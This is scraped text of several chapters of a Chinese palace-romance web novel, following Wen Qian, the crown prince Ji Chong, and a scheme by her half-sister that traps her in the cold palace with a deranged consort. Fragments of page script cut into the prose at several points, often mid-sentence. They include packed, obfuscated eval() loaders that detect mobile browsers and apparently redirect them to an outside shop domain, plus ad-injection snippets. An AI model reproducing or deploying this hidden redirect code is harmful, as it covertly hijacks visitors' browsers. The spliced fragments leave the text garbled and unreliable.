d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567230|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁衙役忙殷勤地给秦楚黛介绍起了闻浅:“这位就是定国公府刚找回来的那位闻浅大小姐。” “原来是她。”秦楚黛握紧了食盒,她自然知道那日迎春宴上发生的事情。 她爱慕纪翀多年,都不敢直言喜欢,这闻浅一回京就敢大言不惭地直言不讳。 如今闻浅见自己这样拎着食盒从纪翀处出来,也不知她会不会心生厌恶或是奚落。 “秦小姐。”倒是闻浅主动和秦楚黛打了招呼,流露出的神色纯粹,似乎只有欣赏。 见状,秦楚黛松了口气,便也朝闻浅客气而疏离地淡淡一笑。 “为何秦小姐可以进去见太子殿下,却不让我进去?”闻浅心里这么想,也这么问了。 狱吏心中鄙夷,翻了个不耐烦的白眼:“秦小姐是秦首辅的女儿,来找太子殿下是因为有重要线索可以提供给太子,闻浅小姐您呢?” 在场几个狱吏心中发笑起来,眼中鄙夷更甚。 寻常女子定觉得害臊知难而退,早就灰溜溜地离开大理寺了,也就这闻浅偏要追问到底。 “那秦小姐手中的食盒又是怎么回事?难道也是线索吗?” 秦楚黛想,这闻浅果真如传闻中的一样大胆。 她垂眸看向手里拎着的沉甸甸的食盒,一时心间弥漫上苦涩。她想来给太子送晚膳,奈何被太子不假思索、直截了当地拒绝了。 争执间,太子殿下自屋内缓步走了出来,夜寒亦表情严肃地跟在他身后。 “吵什么?” 带着凉意的声音吓得几个狱吏浑身一抖,旁人不清楚,他们可是最清楚太子的。 这位太子虽然看着温润如玉,可审查犯人的手段可谓雷霆狠厉。就连现在要审的这个军饷贪污案的主犯,在关州送审的时候软硬不吃,死活不开口。但落到太子手里,不过三日也就全招了。 其实纪翀轮廓硬朗,颔线分明,偏剑眉如墨笔勾勒,面无表情的时候,就连浅淡潋滟的桃花眼都泛着冷厉,右眼尾一粒泪痣更增添些许矜贵。 纪翀负手而立:“闻浅小姐,你怎么在这?” 直到看向闻浅时,那冰冷的眸子仿若冰雪消融般漾开暖意。 闻浅垂眸,错开他的注视:“臣女是来寻殿下的。” 她不太懂。 有一种错觉,她觉得纪翀对着她说话时,似乎格外温柔些。 纪翀俊眉微敛,只凉凉看了狱吏一眼,没有言语。 方才拦着闻浅不给进的狱吏顿时膝盖发软,几乎要跪下来。 “下官见秦小姐在屋内,就、就想让闻小姐等一会。”狱吏口不择言地解释,低下头眼神乱飞,一会看秦楚黛,一会看闻浅,“下官也只是尽忠职守而已。” 狱吏自己也心知肚明,若是办公时间,这个说辞倒是说得通;只是方才时候太子殿下早就处理完了事务,不通报就是刻意为难闻浅了。 “罢了。”闻浅主动道,“一些小事不牢殿下烦心,不必苛责。” 纪翀这才道:“也好。有话不妨先出了大理寺再说,说清楚也省得误会。” 秦楚黛自觉留在此处也是尴尬,便福了福身告退。 闻浅看着秦楚黛和纪翀一前一后往外走去,不知该进该退。她侧头看看留在原地的官吏,皆是战战兢兢。 “还不跟上?”纪翀顿住脚步,回头望向闻浅。 14. 不了解 闻浅这才提起裙摆,一溜小跑朝纪翀过去。 纪翀特意放缓了步子,等闻浅跟上自己。夜寒和映杏两人对视一眼,自觉默默跟在稍远一点的地方,给两人留下独处谈话的空间。 “用过晚膳了吗?” “尚未。”闻浅问啥说啥,“方从太学下学,还未曾用过晚膳。殿下,臣女来找你是为了,是为了……” 闻浅磕磕巴巴地解释不出原由。 “嗯?”纪翀步子未停,淡淡道。 “只是想要见见你。”半天,只好憋出这句话。 天边霞色如炽,纪翀这才侧过头看向少女。晚风拂动她的发丝,脸色也如映着晚霞的红。 纪翀收回目光,无声笑了笑,唇弧微弯。 没有听到纪翀的回答,闻浅不由得握紧手心。 她是说错话了吗? 闻浅:“打扰到你了么?现在见到你了,我也没有别的想法了……” “不会。”纪翀开口打断道,“既然没用过晚膳,那便随孤去天香阁。” 闻浅:“你、你,方才秦小姐不是给你带了食盒吗?” “还是满的。”纪翀又补充道,“我没有用。” 闻浅上了马车,端坐在车厢里片刻,才意识到纪翀方才似乎是在向自己解释。 一抹愉悦划过心头,漾开涟漪。 * 太子车马已经候在门口,闻浅又看了眼纪翀。 “殿下,臣女可以和你坐同一辆马车吗?” 纪翀笑道:“不然你怎么去?” 闻浅腼腆地抿起唇,随后在映杏的搀侍下上了马车。 夜寒跟在纪翀后面:“殿下,您今晚不是有事要提前回东宫吗?去天香阁回不回太晚了些?” 纪翀乜了眼身后,撩起广袖:“多话。” 夜寒讪讪闭上嘴。 * 天香阁在云京南处,是云京最豪奢的酒楼,光有钱还不能够入内,还必须要有身份,能踏入阁内的,大多是朝中重臣。 闻浅下了马车。首先映入眼帘的,是那高达数丈的朱红色大门,门扇上雕刻着精美的龙凤呈祥图案。光是这大门就气派得不得了,甚至能与皇宫正门媲美。奢华程度可见一斑。 门口站立着一排整装的侍从,见来人是太子便行礼后恭敬地俯身拉开大门,而映杏和夜寒被拦在了门外。 闻浅跟在纪翀身后走了进去,她从背面看着比她高出一个头的纪翀,肩宽腰细,从容端庄。心中不免诧异,从前只是觉得纪翀温柔恭肃,没想到他竟然也会出入天香阁这种酒楼,当真是……潇洒。 里面更是别有洞天,进去后只感觉一阵带着果香的清凉扑面而来。里面花灯如昼,正中是一个喷着深红水流的大水池。仰头望去细数,天香阁一共有足足十层楼。七位穿着胡装的舞女就这彩练自楼顶飞天而下,皓齿歌,美眸流转,纤纤细手从花篮里抛洒着花瓣。除却人声鼎沸,大堂中有不断的丝竹之声,繁密却不呕哑嘲哳。 接引两人的是一位中年妇人,穿着貂皮长裙,面容细长。她满脸堆笑地凑过来,对纪翀笑道:“太子殿下,可算把您给盼来了。可要直接上去?” 纪翀“嗯”了一声。 最三层的厢房内,只有闻浅和纪翀两人相对而坐。 闻浅被花粉呛着,一落座便抬着袖子连打两三个喷嚏。 纪翀本慢条斯理地拿着玉箸,听见喷嚏声便抬头望着她,轻笑。 闻浅不禁感到有些耳热,便道:“没想到太子殿下也会来这种花天酒地的地方。” 纪翀:“天香阁是正经的地方。” 意识到自己说错了话,闻浅更加规规矩矩地坐着:“这话怎讲?” “这里的饭菜很好吃,比宫里还要好吃一些。” 桌上已经准备好了菜肴。 闻浅扫了一眼,足足有八道热菜,便奇道:“为什么我们一来菜就都准备好了?” 纪翀道:“因为是孤。他们每天都会为孤预留,不管孤来与不来。” 闻浅桃花眼睁大了些,笼烟眉扬起:“这很破费吧。” 见闻浅讶异的表情,纪翀觉得心情甚好:“尚可。但确实会便利不少。” 天香阁此处离东宫远,但离大理寺近。 “你可有什么忌口?” 闻言,闻浅一怔,却好似被雷殛了般。讷讷道:“我没有忌口……不,我不太能吃辣。” 曾经在盈春楼的时候,被楼里其他姑娘欺负得惨,各种脏活累活都要闻浅来干。干完活,轮到自己用膳的时候往往只剩下一些谁都不想吃的残羹冷炙,譬如发酸了的冷饭,譬如夹生的肥肉,叫人难以下咽。 那时闻浅实在清瘦,纤长的脖子被饿得仿佛一恰就断。可就算再饿看到那些残羹冷炙也只觉得反胃。一日晚上,闻浅饿得抱膝坐在廊下哭泣,便碰上了从楼外回来的玉行。 玉行问:“你哭什么?” “我好饿。”闻浅抬手擦了擦眼睛。 “不如来我屋里吃点吧。”玉行笑道,俯身弯下腰朝她伸出手,“你可有什么忌口?” …… 思绪不受控制地又回到过去,闻浅呼吸一滞、鼻头发酸,又一次看纪翀出了神。 和纪翀在一起的时候,总是会想起那个人。这种感觉很复杂,闻浅不想利用他,却又舍不得放下他。尽管坦白的念头会一闪而过,可闻浅知道,根本就无从开口。 说根本的,其实闻浅自己,根本就不懂、根本就不了解玉行其人。 只是他曾对她的好,是真切存在过的。 纪翀看出了闻浅神色中的飘忽,却没有介怀,笑道:“那便好,这里的饭菜都随孤的口味。” 闻浅吃了几口,便放下了筷子。 “午膳用得比较晚,现在吃不太下。”闻浅解释道。 纪翀拿过新的筷子,给闻浅夹了一块完整的鹿肉卷儿,道:“把这个吃了。” “……”闻浅看着他。 “这个比较值钱。” 好吧,太子殿下发话了,闻浅只好低下头,老老实实地开始吃鹿肉卷。 纪翀笑着看她:“前几日和你说的纸梅花的事,你可想起来一二?” 闻浅摇头,把酥烂的鹿肉吞咽下肚,道:“想不起来。” “你果然一贯如此,从不愿说假话哄我。” 闻浅垂眸,长睫轻颤。难道他们之前很是熟稔么?可从前年幼,再熟稔又有多熟稔。 “可能是在盈春楼待太久了,有太多前尘不记得。” “倒也正常。”纪翀问,“那你,可会恨定国侯?” 闻浅道:“他是我的父亲,自然是不恨的。” 纪翀看向闻浅伤痕斑驳的手,轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592762|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“在盈春楼,很难熬吧。” “没有,其实还好。” 这倒也是实话。 精神上有了寄托,身体上的苦痛又算得了什么? 只是如今,支柱一般的信仰悄然抽离,只留下一副空空荡荡麻木的躯体。 闻浅一直觉得,自己是个很固执的人。 见纪翀对自己的过往似乎很感兴趣的样子,闻浅道:“殿下很好奇臣女的过去?” “嗯。”纪翀直言不讳地承认。 “……”闻浅却闭口不谈。 心上好像筑起了一堵墙,将那些美好的、痛苦的回忆一并隔绝起来。 只要不想,那些记忆就会随着时间的流逝慢慢遗忘。 就不会再痛。 闻浅只是道:“如果心中虚无缥缈的念头,强烈到像执念一样,殿下会如何呢?” “嗯?” 这个问题没头没尾得实在奇怪,闻浅想了想补充道:“没有结果的事情,是该趁早放弃吧。” “孤会一直等。”纪翀收敛起笑意,认真道,“只是,恋杀青山不去,青山未必留人啊。” * 晚上,回了落梅院,却见张嬷嬷满脸怒气地立在院门口,瑶琴和映棠两个丫鬟在一旁跪着。 映杏:“小姐您只不过是半天没回来,难道院子里又发生什么事了?” 映杏刚说完这句话,张嬷嬷便一扫满脸怒气,愁眉苦脸地朝闻浅走过来,请安:“老奴见过大小姐。” 闻浅眉尖微蹙:“这又是怎么了?” “方才老奴清点食材,发现要给小姐入药的几株人参不见了。” 给闻浅入药的人参都是生长了百年的名贵药材,价值不菲。 瑶琴和映棠满脸涕泪,跪着走过来:“小姐、小姐明鉴啊。” 张嬷嬷指着映棠:“这丫头手脚不干净惯了,大抵又是她做的手脚!日防夜防,家贼难防,小姐不如把她早日发卖了出去,免得以后有更多祸端。” 映棠拼命摇头:“不是奴婢,真的不是奴婢。奴婢也不知那几株人参到了哪去!” 原来是落梅院又丢了人参,有人便怀疑是有前科的映棠干的。 瑶琴单薄的身子如纸一般,也哭道:“妹妹是不懂事,但心思并不坏。先前是为了救奴婢才偷拿了小姐的云锦,这一次真的不是棠儿……” 其实瑶琴也知道自己百口莫辩,是否信任取决于闻浅的一念之间。 闻浅面无表情地看着,指尖动了动。她想起先前自己在盈春楼也被这样污蔑过,不免有些犹疑。 看出闻浅的犹疑,张嬷嬷煽风点火道:“小姐你莫要听她们狡辩,这两个妮子伶牙俐齿惯了,把她们打发出去,大不了再向老夫人要几个婢女便是。” 映杏也劝道:“是啊小姐,您治下可不能一直心慈手软。” 映棠和瑶琴目光灼灼地望着闻浅,满脸写着倔强。 终是叹了一声,闻浅道:“罢了,不能这么草率地治罪。但院里总是丢东西也不是个事情。” 映杏:“那小姐,该怎么办呀。” 闻浅道:“你去和哥哥说一下这件事吧,我不想管。” 没想到听了这话,张嬷嬷反倒是脸色一变,张口还想再劝:“小姐……” 闻浅摇摇头:“好了,不用多说了。你们也先起来吧。” 15. 陷害 一连好几日,闻潇都拉着闻浅去永和宫,凑巧的是每次纪明也都在。次数多了,闻浅自然知道闻潇葫芦里卖的是什么药,只是她不点破,在怜妃面前也只管保持着客气而又疏离的态度。 倒是纪明很高兴,食量都变大了,每次都在闻浅面前吃好几碗饭,和闻浅却总是说不上几句话。 这样一来,闻浅和纪明根本就没什么进展可言。 闻潇看在眼里,却又指摘不出嫡姐的错处,只觉得一拳打在了棉花上,轻飘飘而又无可奈何。 “四殿下,你干嘛老是光顾着吃饭。”闻潇实在急得没法,一日在用膳的时候特意坐在纪明旁边,拉住纪明,用两个人听得到的音量说。 “什么意思啊?”纪明擦了擦嘴,看向闻潇。 “嘘!小点声。”闻潇扭头看见闻浅正在和纪云照攀谈,根本没有注意到这边的动静,才稍稍放下心来。她拉了拉纪明衣袖,“你不是喜欢浅姐姐吗?” 纪明:“可她好像根本就不愿意跟我多说话。” “哼,她就是端着。”闻潇道,“我有个好法子,叫她定会对你另眼相看。” 纪明奇怪道:“什么法子?” 闻潇声音又低了一分:“英雄救美。” * 在永和宫用完晚膳后,闻潇和闻浅便告别怜妃继续回太学上课。 闻潇难得的缠着闻浅亲近,一路上话说得不停,说得大都是自己的事。比如自己新得的发钗,比如自己和京中贵女交往之间的趣事,再比如母亲一直要求自己管账但自己老是算错这类的琐事。 虽然闻潇嘴上说着管账管家很烦,语气里却总是带着一丝炫耀的意味,暗暗透着高高在上。 闻浅微笑倾听着她讲话,没有多说什么。 走了半刻钟,路过转弯的时候,闻潇一摸头顶,脸色忽地一变:“糟了。” 闻浅顿住脚步,不明所以地回头望向她:“你怎么了?” 闻潇眼神掠过一丝不自在,很快又恢复了慌乱,她喃喃道:“我的、我的步摇不见了。” 闻浅想了想,早上似乎确是看见闻潇戴了跟浅樱色流苏步摇。 “姐姐,你陪我去找找吧!那个步摇对我很重要。”闻潇上前抓住闻浅的手腕,力气有些大,语气带着局促,“我很喜欢它。” 闻浅没有挣扎,只是静静道:“你先不要急,你先冷静下来,回想一下步摇最有可能掉到哪里去了?” 温煦的暖阳透过枝叶罅隙落在闻浅的面容上,睫毛历历分明,琉璃般的眸子透着干净清澈。她望着闻潇的神色温柔而安定,像是极其信任,叫闻潇不觉恍了神。 闻浅道:“我想想,方才在怜妃娘娘宫里的时候似乎还见你头上戴着。” 闻潇点头:“好像就是离开永和宫后才把步摇遗失了。” 闻潇承认,闻浅的确是一个难得的美人,脸好看得很客观。而且闻浅对她从来都是很好,从来没有因为她得言行而感到生气或者介怀。想到这里,闻潇有一瞬间的犹疑。 可是闻潇很快想到,凭什么闻浅一回来,整个定国公府的人都把她当明珠般捧着?尤其是自己最亲爱的祖母,闻潇能鲜明地感受到,祖母最近对自己冷淡了不少。 闻潇摇牙,指了指西边,委屈道:“姐姐,你就陪我回去找找吧。” 闻浅想到冷宫正是在西边,刚才路过冷宫的时候便听到冷宫里传来女人歇斯底里的吼叫声。两个人知道大概是高才人癫症又发作,便也没有多管便快步离开。 闻浅犹疑道:“那边是冷宫,潇儿你不怕吗?” “你不要说那么多了,赶紧去帮我找吧。”闻潇见闻浅犹疑,一时便也急得口不择言,带着小姐脾气的命令脱口而出。 闻浅:“……好吧。” * 两人步子轻轻地走到冷宫附近,四周岑寂,只有风吹树曳时发出的沙沙声以及偶尔传来的几声鸟鸣,并没有方才路过时高才人歇斯底里的怒吼声。一片萧索清冷,斑驳的宫墙在岁月的侵蚀下已经显得黯淡,墙根处的缝隙里长出枯黄的杂草。 “应该就在这附近。”闻潇低着头,道。 闻浅也弯下腰来,认真地替闻潇找着。忽地,闻浅的眼睛被什么闪光的东西刺了一下,她顺着闪光望去,看见冷宫虚掩的大门那边有一根樱色的步摇。 闻浅一喜,便撩起裙摆走了过去。 而闻潇实则一直在观察着闻浅,见闻浅如她所愿般地靠近冷宫大门,闻潇嘴角勾起冷笑。她也蹑手蹑脚地朝闻浅走过去。 闻浅弯下腰来,从地上捡起步摇,刚想回头喊闻潇,突然感到一股力道在自己背后推了一下。 “啊!” 虚掩的门被撞开,闻浅摔进了冷宫里面,膝盖蹭在石板上,衣服都被蹭破了。她难以置信地回过头,看见冷宫门被重重地合上。 “潇儿?”顾不上膝盖处传来的剧烈痛感,闻浅恐惧地压着声音,“你、你为什么?” 闻潇站在门外,把门拉紧后上了锁,随后便离开了冷宫,自始至终一言不发。 闻浅勉强站起身,膝盖上的鲜血蜿蜒向下,一只手抓着步摇,一只手拍打着冷宫门:“潇儿?” 回应她的只有一片寂静。 忽然,闻浅听到“吱嘎”一声。 “谁啊?大中午的来吵我。” 闻浅提心吊胆地慢慢转过头去。 她看见蓬头垢面的高才人穿着白色长衫,站在离她不远处的身后。枯黄而又乱糟糟的头发下面,是一张满是血痕的面容,高才人一只瘦削的手扶着门框,朝闻浅露出森森白牙。 高才人笑道:“哦?是你啊……” 模样,真的,很可怕。 闻浅觉得腿一软,奈何身后的冷宫大门已经被紧紧合上。她的后背已经全然被冷汗浸湿,此刻抵在门上,退无可退。 “你、你认识我?”闻浅恐惧地问。 高才人呵呵笑了起来,道:“你来找我有什么事吗?” “我……”闻浅说不出话,她只觉得无边的恐惧吞噬了她,又觉得被闻潇陷害很心痛。 闻浅见高才人状态还算稳定,便抱有了一丝和高才人好好沟通的想法。 闻浅:“我、我叫闻浅,不小心打扰到了您……” 语句戛然而止。 高才人朝闻浅缓缓靠近,离她还有八尺之遥的时候竟然从袖 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中掏出一把刺刀向闻浅刺过来,怒道:“贱人!都是贱人!还我珩儿!都是你们陷害我,都是你们!” 闻浅强忍膝盖处受伤的疼痛,慌不择路地提起裙摆跑起来。 好在高才人虽然有癫症,腿脚却也是极其不便的,有一些跛足。这让闻浅有了逃跑的余地。 * 另一边,从永和宫出来的长街处。 纪明的步子有些急,他没有带侍从,而是自己手里捏了把匕首。 他算着时间,却没有想到迎面撞上父皇崇帝和太子纪翀。 纪明不得不行了个礼:“见过父皇,见过太子殿下。” 崇帝坐在步辇上,李公公和太子一左一右站在步辇下。 崇帝:“明儿,你走这么急是所谓何事?” 纪明支支吾吾道:“启禀父皇,孩儿、孩儿翻阅《尚书》的时候有个问题不太理解,想去太学请教一下夫子。” 闻言,崇帝道:“今日怎么想着去太学了?平时也不见你好学。” 纪明只垂着头,没说话。 崇帝今日心情难得的愉悦,便开玉口教导起了这位最不成器的皇子。 纪明默默听着,心里又慌又纪,心思全然游离到了冷宫那边。 闻潇给他支的所谓“英雄救美”的招数便是叫他从高才人的手里救下闻浅。 英雄救美的高明之处便在于既可以展现自己的英勇,又可以俘获美人的芳心,一箭双雕。纪明也觉得这个方法很好。 只不过,世界上最可怕的从来不是穷凶极恶之徒,而是那些假痴不癫的疯子。 因为他们肆无忌惮,行为难以捉摸。死亡对他们来说反倒是一种解脱,所以他们不会畏惧死亡,就更不会畏惧其他什么。 纪明心里对高才人也隐隐有些害怕,他经常听宫人说起高才人疯狂的举动。他其实一直不太理解,为什么父皇只是把这个疯女人打入冷宫,而不直接一杯毒酒刺死她。 不过。 纪明攥紧了藏在袖中的匕首。 一个手无缚鸡之力的疯女人罢了,他怎么可能会真的害怕她? 大不了就拼命,反正高才人已经宠爱尽失,在父皇的心里已经没有丝毫的地位可言了。 “恰好今日太子在这,你有什么问题就去问问太子吧。”崇帝说了一番话,才扬了扬手,“朕去永和宫看看你的母妃。” 纪明和太子恭送崇帝离开。 纪翀笑道:“你对《尚书》上什么不太理解?” 纪明支支吾吾,一心只想快点离开。奈何脑袋空空,想不出来《尚书》的具体内容,便随口说了句:“书上说,扬汤止沸,不如去火抽薪,但、但怎么去火呢?” 听了纪明的话,纪翀一时又狐疑又想笑。 这句扬汤止沸的话根本就不是出自《尚书》,而是出自《幼学琼林》,而且方才崇帝训话的时候,纪明就一副焦急的模样。 纪翀语气重了几分:“四弟,你是有什么心事么?” 纪明嘴唇嚅动一番,片刻后,抬头看向纪翀,不得已只好说:“闻浅小姐有难,我急着去救她不行吗?” 听到闻浅二字,纪翀微微眯起了眼。 16. 别害怕 闻浅攒着劲踉踉跄跄地往侧边跑,冷宫荒芜地杂草磕绊着她的小腿,膝盖处的疼痛几乎钻心。她根本就不敢回头看,因为高才人的眼神实在是太恐怖。 恐惧、生气、以及委屈交织在她的心头,她用整个身体,几乎是撞进了一间小屋,然后紧紧抵在门上。 闻浅按着胸口大口大口地喘气,头发已经被汗水濡湿。 房间里的气息很难闻,光线透过窗格艰难地挤进来,照见灰尘飞扬。 闻浅颤动的视线透过纷飞的灰尘,看见破旧书架上滚落一幅画轴。 画轴很小,全展开来也差不多只有闻浅半截手臂那么长。它掉落在地上,画面徐徐展开。 砰砰砰……砰砰砰… 身后传来高才人敲门的声音。 闻浅的视线却凝滞在画面上不动,世界仿佛也因此静音了。 画面上画的是一位玉面男子的肖像,长发白袍,温润无双。 闻浅瞳孔微震,简直难以置信。 她眨了眨眼,泪水却先反应一步落下。 玉行…… 仅仅只是默念着那个人的名字,闻浅却觉得自己好像蓦然升起了莫大的勇气。 她也不管门外的高才人是否会冲进来了,只义无反顾地扑到画像旁,端详细看。 很久很久没有再见过玉行,那个人的眉眼在闻浅的印象里其实已经渐渐模糊。 可是看到这张画像,闻浅确信错不了,这就是玉行的画像。 尽管回到云京后,闻浅试图在无数人的身上寻找玉行的影子。他的眉是疏淡的浓,他的眼是清澈的棕,他望向她的眼神,不带一丝嘲弄,总是那么温柔。 让她轻而易举沉沦。 纪翀也是温润无双的,可她总觉得差点意思。她曾在纪翀没留意的时候细细观察过他,他到底不是他。 可是为什么? 为什么玉行的画像会出现在这里?会出现在冷宫高才人处? 闻浅的心狂跳着,一个大胆到让她窒息却又十分可信的念头浮上心头。 那就是,玉行另有身份。 他会是谁呢?宫里的侍从?高才人的熟人?还是……皇子? 闻浅后背沁出了一层冷汗,她绝望地发现,她实在是不了解玉行。 她甚至不知道他的真实身份。 那她对他的喜欢执迷,又算什么呢? 还没来得及闻浅细思下去,房门就被用力推开。 闻浅麻木地转回头,复杂的情绪压过了一切恐惧,一时心中风平浪静。 打开门的却不是其他人,而是阴沉着脸的太子殿下。 他一身玄黑朝服,踩着双绣金漆色翘头皂靴,攥紧的手青筋毕露。 闻浅一慌,又迅速转回头,背对着纪翀,下意识地把画轴藏入袖中。 然后瑟缩起单薄的肩头,梨花带雨地哭泣起来。 “闻浅小姐。”纪翀语气平平,听不出情绪。 “……”闻浅垂着眸,不说话。 或者说是,不想说话。闭上眼,任凭恍惚感击中她,顺着背脊游走全身。 “放开我!”是高才人的声音。她被两个身强力壮的侍卫扣押着,动弹不得。 “带她回去。”纪翀道,“回她该去的地方。” 高才人冷笑几声,脱口而出的咒骂戛然而止:“你以为你现在当上了太子就……” 纪翀不悦地蹙眉。 侍卫捕捉到纪翀身上散出的戾气,便直接捂住了高才人的嘴,二话不说把高才人拖走了。 感受到一阵清冽的气息扑向鼻尖,闻浅睁开泪眼,视线迷蒙中,看见一双白净的手伸向自己。 纪翀弯下腰,看着闻浅:“别害怕。” 闻浅浑身发颤,瞳孔失焦地盯着纪翀白净的面容。 他不是他,他不是他,他不是他,他不是他…… 玉行是无可取代的。 可玉行却那么直接地拒绝了自己,没有给自己一点机会。 闻浅经常会给玉行的拒绝找借口,比如他会不会有什么难言之隐,他会不会也很喜欢自己,只是碍于实际的困难不能和自己在一起。 可拒绝了就是拒绝,他不愿意和自己开始,连尝试都不愿意尝试。 一想到这一点,闻浅的泪水就扑簌簌地落了下来,她咬着唇,唇色发白,却没有伸出手握住纪翀伸向自己的手。 脑海里无限回荡着,他不是他。 伸出的手微微一顿,纪翀没有什么多余的反应,若无其事地收回手,刚想开口再说什么时,闻浅却已经晕了过去。 纪翀没有多想,径自将闻浅打横抱起。怀里的闻浅轻飘飘的,他站起身,然后长腿便迈向屋外。 “殿下,闻浅小姐没、没事吧?”纪明站在外头。 刚刚高才人被拖走的时候,用极其可怖的眼神盯着他看,盯得他头皮发麻。但现在看见太子,心里的恐惧更甚。皇兄向来警觉,怕是已经猜到这件事跟自己有脱不掉的关系。闻浅是定国公府金枝玉叶的大小姐,身份金贵到比起宫里的几位公主都不遑多让。 要是这件事被纪翀告诉母妃、甚至告诉父皇,那自己真是闯下大祸了。 纪明心中忐忑,低下头不敢直视太子。 “她已经昏迷了。”纪翀俊容极其疏淡,扣在闻浅腰间的指尖微微用力,步履未停,“备车,先送闻小姐去太医院。” * 浑浑噩噩中,闻浅觉得自己置身在一团苍白的迷雾中。 孑然一身。 她什么都看不清,更不知道该何去何从。 “小浅。” 她听见一声若有似无的呼唤,熟悉的、温朗的嗓音,就像春日里拂过冰雪的微风。 她张了张嘴,发现自己说不了话,四顾一番,迷雾让她什么都看不清。 好奇怪,这是哪里? 玉行公子,是你吗? 一定是你在唤我吧? …… 被抛弃的慌张感席卷而来,闻浅不管不顾拨开迷雾只往前跑去。 前方有光芒,她看见了一片巨大的红色,原来是处正在成亲的正堂。 站在当中的人一身白衣,玉树临风,遗世而独立。 他朝着她微笑:“小浅。” 然后隆重的丝竹声悄然寂灭,世界一片静音。 面前闪过曾经和玉行的点点滴滴。 他教她抚琴,他舞剑的身影,他捧着书卷温文的模样,他被她的话语逗笑,他的温柔,他的好。 闻浅绝望地发现,就算刻意去忘记,原来自己全部都记得。 她睁大了眼,往事的闪现又消失不见。 玉行的身后走出一位身着大红嫁衣的女子,身段极美。 玉行自然而然地揽过她。 是玉行公子的新娘吗? 意料之中,她就知道,自己随时都会被代替。 感情中从来没有什么非谁不可。 闻浅绝望地看着成双成对的两人,说不出话。她看见玉行公子修长的手就要撩开新娘的盖头,她会是谁呢?可以有这么好的运气,嫁给玉行? …… 闻浅醒了过来,心口处隐隐的钝痛,仿若一块巨石压着。她迷茫地看着眼前的景象,大口大口地呼吸着,浑身不觉出了一身冷汗。 好真实又好荒谬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的一场梦。 她发现自己已经回到了定国公府,自己的闺房里,就连衣服都已经换成了寻常寝衣。 “小姐,您可算醒了。”原本侍立在一旁的映杏听见动静,循声望来,看见闻浅转醒脸上一喜,端着碗温水走上前来。 闻浅费力地靠着床头坐了起来,心跳依然跳得很快。 她从映杏手里接过温水,慢慢喝了一口。 “小姐,是太子殿下派马车将您送回府的呢。”映杏欢喜道,“太医说,小姐只是受了惊吓,睡了过去,只要好生休养便没什么事。” 闻浅:“我昏迷了多久?” 胸口闷闷地疼,恍如隔世。 映杏掰着手指算了算:“加上在太医院的时间的话,大概是七个时辰。” 闻浅一怔,喃喃道:“才七个时辰么?” 她却觉得像过了一个世纪那么久。 “小姐,你现在感觉怎么样,还是不太舒服么?”映杏关切道。 闻浅静默不语,长睫垂下。梦中被迷雾包围的感受似乎还萦绕不去。 “小姐,奴婢看你腿上受了伤,奴婢去给你拿药膏来擦。”映杏说完这句话,便推开门走了出去。 映杏走到门外,对映棠和瑶琴道:“我去给小姐拿药,你们进去侍奉小姐。” 映棠和瑶琴便端着食膳走进屋内。 闻浅只看了一眼,便摇摇头道:“我现在不太想吃。” 瑶琴劝道:“小姐,您多少吃一些吧,会把自己饿坏的。” 映棠应和着自己的姐姐道:“是呀,小姐您摔伤了,姐姐特意做了一些调理伤口的药膳给您。” 闻浅这才道:“好吧,那你们端过来吧。” 瑶琴做的是一碗莲子百合粥,里面又添加了些薏米、茯苓,吃上去清润可口,甚是好吃。 看着映棠眼睛亮亮的样子,仿佛在期待自己的夸奖,闻浅便笑道:“不错。” 听了这话,瑶琴和映棠心中皆是一阵喜悦。 “小姐,您知道吗?昨天您不在府里的时候,长公子已经将所谓人参丢失的事情替您查清楚了。”映棠开口道。 一方面,她怕小姐闷着,便想和小姐说些话哄小姐开心;另一方面,她不想让自己的姐姐白白蒙了冤屈。 闻浅便问道:“是怎么回事?” 映棠语气中不由带了些不满:“是张嬷嬷点错了,人参根本就没有少。可依奴婢看,张嬷嬷分明是故意点错,陷害姐姐!” 闻浅想了想,张嬷嬷面相看着老实,虽然有的时候做事是刻薄了些:“那哥哥打算怎么处理?” “长公子说府里不会留无用之人,便将张嬷嬷打发出府了。”瑶琴道。 映棠补充道:“是啊,然后张嬷嬷就拼命磕头认错,但也没什么用。哼,奴婢看这老婆子就是活该!” 府里不会留无用之人…… 闻浅一怔,倒也有些难以置信,如此凉薄的话竟是出自兄长之口。 “张嬷嬷平时干活还是很利索的,如今点错了人参数量便被打发出府?”闻浅道,“……罢了,既然是哥哥安排的,那我也不会多管。” “嗯!那就好,奴婢还担心小姐心地纯善会心生不忍呢。”映棠笑道,“夫人听说了这件事,便又安排了方嬷嬷来伺候您。方嬷嬷跟着夫人久了,该做什么事不该做什么事,心里也都有个度。” 闻浅点点头。 三人谈话间,映杏已经取了处理摔伤的药进来。 她推开门,便朝着闻浅喊道:“小姐,二小姐来看您了。” 在她身后,闻潇穿着一身粉衣,梳着简单的发髻走了进来,面上挂着心虚。 17. 画像不见 挂在闻潇脸上的心虚一闪而过,很快被收敛了起来,她又恢复平日那娇蛮的神态:“姐姐,妹妹听说你受伤了,便来看看你。” 闻浅看着她,想起她是那么用力地把自己推进冷宫,就算闻浅脾气再好、平日里再不计较,此时此刻也难免有些生气。于是她只是冷冷地看着闻潇。 